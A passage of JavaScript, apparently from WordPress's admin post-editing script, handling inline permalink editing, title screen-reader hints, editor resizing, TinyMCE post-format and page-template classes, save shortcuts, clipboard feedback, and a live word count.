1031 buttons.html(
1032 '<button type="button" class="save button button-compact">' + __( 'OK' ) + '</button> ' +
1033 '<button type="button" class="cancel button-link">' + __( 'Cancel' ) + '</button>'
1034 );
1035
1036 // Save permalink changes.
1037 buttons.children( '.save' ).on( 'click', function() {
1038 var new_slug = $el.children( 'input' ).val();
1039
1040 if ( new_slug == $('#editable-post-name-full').text() ) {
1041 buttons.children('.cancel').trigger( 'click' );
1042 return;
1043 }
1044
1045 $.post(
1046 ajaxurl,
1047 {
1048 action: 'sample-permalink',
1049 post_id: postId,
1050 new_slug: new_slug,
1051 new_title: $('#title').val(),
1052 samplepermalinknonce: $('#samplepermalinknonce').val()
1053 },
1054 function(data) {
1055 var box = $('#edit-slug-box');
1056 box.html(data);
1057 if (box.hasClass('hidden')) {
1058 box.fadeIn('fast', function () {
1059 box.removeClass('hidden');
1060 });
1061 }
1062
1063 buttons.html(buttonsOrig);
1064 permalink.html(permalinkOrig);
1065 real_slug.val(new_slug);
1066 $( '.edit-slug' ).trigger( 'focus' );
1067 wp.a11y.speak( __( 'Permalink saved' ) );
1068 }
1069 );
1070 });
1071
1072 // Cancel editing of permalink.
1073 buttons.children( '.cancel' ).on( 'click', function() {
1074 $('#view-post-btn').show();
1075 $el.html(revert_e);
1076 buttons.html(buttonsOrig);
1077 permalink.html(permalinkOrig);
1078 real_slug.val(revert_slug);
1079 $( '.edit-slug' ).trigger( 'focus' );
1080 });
1081
1082 // If more than 1/4th of 'full' is '%', make it empty.
1083 for ( i = 0; i < full.length; ++i ) {
1084 if ( '%' == full.charAt(i) )
1085 c++;
1086 }
1087 slug_value = ( c > full.length / 4 ) ? '' : full;
1088 slug_label = __( 'URL Slug' );
1089
1090 $el.html(
1091 '<label for="new-post-slug" class="screen-reader-text">' + slug_label + '</label>' +
1092 '<input type="text" id="new-post-slug" value="' + slug_value + '" autocomplete="off" spellcheck="false" />'
1093 ).children( 'input' ).on( 'keydown', function( e ) {
1094 var key = e.which;
1095 // On [Enter], just save the new slug, don't save the post.
1096 if ( 13 === key ) {
1097 e.preventDefault();
1098 buttons.children( '.save' ).trigger( 'click' );
1099 }
1100 // On [Esc] cancel the editing.
1101 if ( 27 === key ) {
1102 buttons.children( '.cancel' ).trigger( 'click' );
1103 }
1104 } ).on( 'keyup', function() {
1105 real_slug.val( this.value );
1106 }).trigger( 'focus' );
1107 }
1108
1109 $( '#titlediv' ).on( 'click', '.edit-slug', function() {
1110 editPermalink();
1111 });
1112
1113 /**
1114 * Adds screen reader text to the title label when needed.
1115 *
1116 * Use the 'screen-reader-text' class to emulate a placeholder attribute
1117 * and hide the label when entering a value.
1118 *
1119 * @param {string} id Optional. HTML ID to add the screen reader helper text to.
1120 *
1121 * @global
1122 *
1123 * @return {void}
1124 */
1125 window.wptitlehint = function( id ) {
1126 id = id || 'title';
1127
1128 var title = $( '#' + id ), titleprompt = $( '#' + id + '-prompt-text' );
1129
1130 if ( '' === title.val() ) {
1131 titleprompt.removeClass( 'screen-reader-text' );
1132 }
1133
1134 title.on( 'input', function() {
1135 if ( '' === this.value ) {
1136 titleprompt.removeClass( 'screen-reader-text' );
1137 return;
1138 }
1139
1140 titleprompt.addClass( 'screen-reader-text' );
1141 } );
1142 };
1143
1144 wptitlehint();
1145
1146 // Resize the WYSIWYG and plain text editors.
1147 ( function() {
1148 var editor, offset, mce,
1149 $handle = $('#post-status-info'),
1150 $postdivrich = $('#postdivrich');
1151
1152 // If there are no textareas or we are on a touch device, we can't do anything.
1153 if ( ! $textarea.length || 'ontouchstart' in window ) {
1154 // Hide the resize handle.
1155 $('#content-resize-handle').hide();
1156 return;
1157 }
1158
1159 /**
1160 * Handle drag event.
1161 *
1162 * @param {Object} event Event containing details about the drag.
1163 */
1164 function dragging( event ) {
1165 if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) {
1166 return;
1167 }
1168
1169 if ( mce ) {
1170 editor.theme.resizeTo( null, offset + event.pageY );
1171 } else {
1172 $textarea.height( Math.max( 50, offset + event.pageY ) );
1173 }
1174
1175 event.preventDefault();
1176 }
1177
1178 /**
1179 * When the dragging stopped make sure we return focus and do a confidence check on the height.
1180 */
1181 function endDrag() {
1182 var height, toolbarHeight;
1183
1184 if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) {
1185 return;
1186 }
1187
1188 if ( mce ) {
1189 editor.focus();
1190 toolbarHeight = parseInt( $( '#wp-content-editor-container .mce-toolbar-grp' ).height(), 10 );
1191
1192 if ( toolbarHeight < 10 || toolbarHeight > 200 ) {
1193 toolbarHeight = 30;
1194 }
1195
1196 height = parseInt( $('#content_ifr').css('height'), 10 ) + toolbarHeight - 28;
1197 } else {
1198 $textarea.trigger( 'focus' );
1199 height = parseInt( $textarea.css('height'), 10 );
1200 }
1201
1202 $document.off( '.wp-editor-resize' );
1203
1204 // Confidence check: normalize height to stay within acceptable ranges.
1205 if ( height && height > 50 && height < 5000 ) {
1206 setUserSetting( 'ed_size', height );
1207 }
1208 }
1209
1210 $handle.on( 'mousedown.wp-editor-resize', function( event ) {
1211 if ( typeof tinymce !== 'undefined' ) {
1212 editor = tinymce.get('content');
1213 }
1214
1215 if ( editor && ! editor.isHidden() ) {
1216 mce = true;
1217 offset = $('#content_ifr').height() - event.pageY;
1218 } else {
1219 mce = false;
1220 offset = $textarea.height() - event.pageY;
1221 $textarea.trigger( 'blur' );
1222 }
1223
1224 $document.on( 'mousemove.wp-editor-resize', dragging )
1225 .on( 'mouseup.wp-editor-resize mouseleave.wp-editor-resize', endDrag );
1226
1227 event.preventDefault();
1228 }).on( 'mouseup.wp-editor-resize', endDrag );
1229 })();
1230
1231 // TinyMCE specific handling of Post Format changes to reflect in the editor.
1232 if ( typeof tinymce !== 'undefined' ) {
1233 // When changing post formats, change the editor body class.
1234 $( '#post-formats-select input.post-format' ).on( 'change.set-editor-class', function() {
1235 var editor, body, format = this.id;
1236
1237 if ( format && $( this ).prop( 'checked' ) && ( editor = tinymce.get( 'content' ) ) ) {
1238 body = editor.getBody();
1239 body.className = body.className.replace( /\bpost-format-[^ ]+/, '' );
1240 editor.dom.addClass( body, format == 'post-format-0' ? 'post-format-standard' : format );
1241 $( document ).trigger( 'editor-classchange' );
1242 }
1243 });
1244
1245 // When changing page template, change the editor body class.
1246 $( '#page_template' ).on( 'change.set-editor-class', function() {
1247 var editor, body, pageTemplate = $( this ).val() || '';
1248
1249 pageTemplate = pageTemplate.substr( pageTemplate.lastIndexOf( '/' ) + 1, pageTemplate.length )
1250 .replace( /\.php$/, '' )
1251 .replace( /\./g, '-' );
1252
1253 if ( pageTemplate && ( editor = tinymce.get( 'content' ) ) ) {
1254 body = editor.getBody();
1255 body.className = body.className.replace( /\bpage-template-[^ ]+/, '' );
1256 editor.dom.addClass( body, 'page-template-' + pageTemplate );
1257 $( document ).trigger( 'editor-classchange' );
1258 }
1259 });
1260
1261 }
1262
1263 // Save on pressing [Ctrl]/[Command] + [S] in the Text editor.
1264 $textarea.on( 'keydown.wp-autosave', function( event ) {
1265 // Key [S] has code 83.
1266 if ( event.which === 83 ) {
1267 if (
1268 event.shiftKey ||
1269 event.altKey ||
1270 ( isMac && ( ! event.metaKey || event.ctrlKey ) ) ||
1271 ( ! isMac && ! event.ctrlKey )
1272 ) {
1273 return;
1274 }
1275
1276 wp.autosave && wp.autosave.server.triggerSave();
1277 event.preventDefault();
1278 }
1279 });
1280
1281 // If the last status was auto-draft and the save is triggered, edit the current URL.
1282 if ( $( '#original_post_status' ).val() === 'auto-draft' && window.history.replaceState ) {
1283 var location;
1284
1285 $( '#publish' ).on( 'click', function() {
1286 location = window.location.href;
1287 location += ( location.indexOf( '?' ) !== -1 ) ? '&' : '?';
1288 location += 'wp-post-new-reload=true';
1289
1290 window.history.replaceState( null, null, location );
1291 });
1292 }
1293
1294 /**
1295 * Copies the attachment URL in the Edit Media page to the clipboard.
1296 *
1297 * @since 5.5.0
1298 *
1299 * @param {MouseEvent} event A click event.
1300 *
1301 * @return {void}
1302 */
1303 copyAttachmentURLClipboard.on( 'success', function( event ) {
1304 var triggerElement = $( event.trigger ),
1305 successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) );
1306
1307 // Clear the selection and move focus back to the trigger.
1308 event.clearSelection();
1309
1310 // Show success visual feedback.
1311 clearTimeout( copyAttachmentURLSuccessTimeout );
1312 successElement.removeClass( 'hidden' );
1313
1314 // Hide success visual feedback after 3 seconds since last success.
1315 copyAttachmentURLSuccessTimeout = setTimeout( function() {
1316 successElement.addClass( 'hidden' );
1317 }, 3000 );
1318
1319 // Handle success audible feedback.
1320 wp.a11y.speak( __( 'The file URL has been copied to your clipboard' ) );
1321 } );
1322} );
1323
1324/**
1325 * TinyMCE word count display
1326 */
1327( function( $, counter ) {
1328 $( function() {
1329 var $content = $( '#content' ),
1330 $count = $( '#wp-word-count' ).find( '.word-count' ),
1331 prevCount = 0,
1332 contentEditor;
1333
1334 /**
1335 * Get the word count from TinyMCE and display it
1336 */
1337 function update() {
1338 var text, count;
1339
1340 if ( ! contentEditor || contentEditor.isHidden() ) {
1341 text = $content.val();
1342 } else {
1343 text = contentEditor.getContent( { format: 'raw' } );
1344 }
1345
1346 count = counter.count( text );
1347
1348 if ( count !== prevCount ) {
1349 $count.text( count );
1350 }
1351
1352 prevCount = count;
1353 }
1354
1355 /**
1356 * Bind the word count update triggers.
1357 *
1358 * When a node change in the main TinyMCE editor has been triggered.
1359 * When a key has been released in the plain text content editor.
1360 */
1361 $( document ).on( 'tinymce-editor-init', function( event, editor ) {
1362 if ( editor.id !== 'content' ) {
1363 return;
1364 }
1365
1366 contentEditor = editor;
1367
1368 editor.on( 'nodechange keyup', _.debounce( update, 1000 ) );
1369 } );
1370
1371 $content.on( 'input keyup', _.debounce( update, 1000 ) );
1372
1373 update();
1374 } );
1375
1376} )( jQuery, new wp.utils.WordCounter() );
1377